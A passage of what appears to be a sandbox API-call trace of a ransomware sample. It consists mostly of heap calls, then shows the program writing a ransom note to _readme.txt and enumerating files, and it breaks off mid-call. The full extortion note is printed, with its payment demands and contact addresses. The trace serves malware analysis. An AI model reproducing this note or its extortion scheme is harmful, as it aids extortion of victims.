lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.381] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.381] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.382] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.382] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.382] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.382] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.382] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.382] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.382] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.382] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.382] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.382] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.382] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.382] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.382] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.382] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.382] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.382] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.382] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.382] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.382] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.382] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.382] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.382] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.382] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.382] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.382] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.382] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.382] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.382] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.382] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.382] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.382] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.383] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.383] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.383] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.383] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.383] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.383] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.383] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.383] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.383] PathFindFileNameW (pszPath="C:\\Boot\\zh-TW\\") returned="zh-TW\\" [0059.383] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.383] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.383] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.383] PathFindFileNameW (pszPath="") returned="" [0059.383] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.383] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.383] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.384] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.384] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.384] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.384] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.384] PathAppendW (in: pszPath="C:\\Boot\\zh-TW\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 1 [0059.384] PathFileExistsW (pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 0 [0059.384] lstrcpyW (in: lpString1=0x312a418, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" [0059.384] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd", lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" [0059.384] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\_readme.txt" (normalized: "c:\\boot\\zh-tw\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0059.385] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned 1172 [0059.385] WriteFile (in: hFile=0x5c0, lpBuffer=0x3132120*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x9aafb64, lpOverlapped=0x0 | out: lpBuffer=0x3132120*, lpNumberOfBytesWritten=0x9aafb64*=0x494, lpOverlapped=0x0) returned 1 [0059.385] CloseHandle (hObject=0x5c0) returned 1 [0059.386] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132120 | out: hHeap=0x670000) returned 1 [0059.386] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c9340 | out: hHeap=0x670000) returned 1 [0059.386] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a418 | out: hHeap=0x670000) returned 1 [0059.386] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.386] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13d06e70, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d06e70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.386] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.386] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13d06e70, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d06e70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.386] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.386] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13d06e70, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13d06e70, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d06e70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.386] FindNextFileW (in: 